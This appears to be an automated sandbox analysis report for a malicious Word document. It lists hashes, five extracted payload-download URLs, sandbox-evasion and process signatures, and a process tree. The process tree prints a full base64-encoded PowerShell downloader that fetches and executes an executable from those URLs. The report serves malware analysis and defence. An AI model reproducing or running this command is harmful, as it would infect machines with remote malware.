Analysis
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max time kernel
57s -
max time network
43s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
17/07/2020, 16:18
Static task
static1
Behavioral task
behavioral1
Sample
12978037724d36b52fcae4b7d8ea65da75e7f38ed8b32ee144443f50717bf8f4.doc
Resource
win10v200430
General
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Target
12978037724d36b52fcae4b7d8ea65da75e7f38ed8b32ee144443f50717bf8f4.doc
-
Size
195KB
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MD5
dbde50b0484d69ff102d5d2a152b3a06
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SHA1
c830f7fd2004c2fbe164cf549af471a1d73f2ffd
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SHA256
12978037724d36b52fcae4b7d8ea65da75e7f38ed8b32ee144443f50717bf8f4
-
SHA512
19ae753a9eee8efba2b4ec98c90258cb9789f1f4c6054651778e5d7737e985ef8aa7e6cc7fbac6abc3da148788a90545698735a2aa9b2e059ea47d9c713f9027
Malware Config
Extracted
https://www.elseelektrikci.com/wp-content/hedk3/
https://www.rviradeals.com/wp-includes/LeDR/
https://skenglish.com/wp-admin/o0gf/
https://www.packersmoversmohali.com/wp-includes/pgmt4x/
https://www.tri-comma.com/wp-admin/MmD/
Signatures
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Blacklisted process makes network request 1 IoCs
flow pid Process 20 3480 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE 1600 WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1600 WINWORD.EXE 1600 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3480 1852 powersheLL.exe 68 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3480 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3480 powersheLL.exe 3480 powersheLL.exe 3480 powersheLL.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\12978037724d36b52fcae4b7d8ea65da75e7f38ed8b32ee144443f50717bf8f4.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:1600
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABkAG8AdQBqAHcAaQBvAGgAYwBvAGkAcwBiAG8AYQBzAGwAaQBlAHAAPQAnAGgAZQBhAGQAcQB1AG8AZQB6AHkAdQB1AHYAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAGUAYwB1AFIAaQB0AHkAcABgAFIAbwB0AGAATwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHQAYQBjAGgAagBhAGkAbgAgAD0AIAAnADQANAAzACcAOwAkAHAAbwB1AHYAZABvAGUAegB5AGkAbwB3AG0AYQB1AHEAdQBqAHUAdQB6AD0AJwB6AGkAbgAnADsAJABoAGEAbwBjAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHQAYQBjAGgAagBhAGkAbgArACcALgBlAHgAZQAnADsAJAByAGkAbwBmAHYAbwBhAHoAZgBlAGkAcQB1AGoAZQBqAGIAbwB1AHgAPQAnAGYAZQBpAGoAJwA7ACQAdABpAHQAaAB0AGgAbwBlAG4AeQB1AGEAdABoAGwAYQB1AHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkAZQBOAFQAOwAkAGoAdQBhAGcAYgBpAG8AeQByAG8AYQBiAGMAbwBqAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAGwAcwBlAGUAbABlAGsAdAByAGkAawBjAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBoAGUAZABrADMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAdgBpAHIAYQBkAGUAYQBsAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwAZQBEAFIALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGsAZQBuAGcAbABpAHMAaAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAwAGcAZgAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcABhAGMAawBlAHIAcwBtAG8AdgBlAHIAcwBtAG8AaABhAGwAaQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcABnAG0AdAA0AHgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHQAcgBpAC0AYwBvAG0AbQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAG0ARAAvACcALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAeABpAG8AYwBoAGMAYQBoAGQAbwBkAHYAYQB3AHAAdQBhAGgAeQBvAGUAcQB1AD0AJwB0AGgAbwBhAGsAdgBlAGUAawBjAHUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACAAaQBuACAAJABqAHUAYQBnAGIAaQBvAHkAcgBvAGEAYgBjAG8AagApAHsAdAByAHkAewAkAHQAaQB0AGgAdABoAG8AZQBuAHkAdQBhAHQAaABsAGEAdQB6AC4AIgBEAG8AYAB3AG4AbABvAGAAQQBgAEQAZgBpAGwAZQAiACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACwAIAAkAGgAYQBvAGMAaAApADsAJAB3AHUAYQBsAHkAaQBhAGMAaAA9ACcAeABlAHYAbgBvAGEAcQB1AGwAYQBvAGgAbABvAGUAZAB2AHUAYQBsAGYAaQBsACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAaABhAG8AYwBoACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMwAyADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAAZQBhAHQARQAiACgAJABoAGEAbwBjAGgAKQA7ACQAbgBhAG4APQAnAHEAdQBhAG8AeABjAGgAZQBlAHcAdgBvAHUAdABoAGIAYQB1AGMAdgBhAG8AdABoACcAOwBiAHIAZQBhAGsAOwAkAHgAdQB1AGwAZwB1AHUAagA9ACcAdwBhAG8AawB5AGEAZQBuAG0AZQBvAHoAagBhAHUAdwBmAHUAdQBjAGMAaABpAGEAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAaQBrAHQAaABpAG8AegBoAHUAbQA9ACcAdABhAGkAdwB2AGUAaQBjAHQAaQBjAGgAJwA=1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3480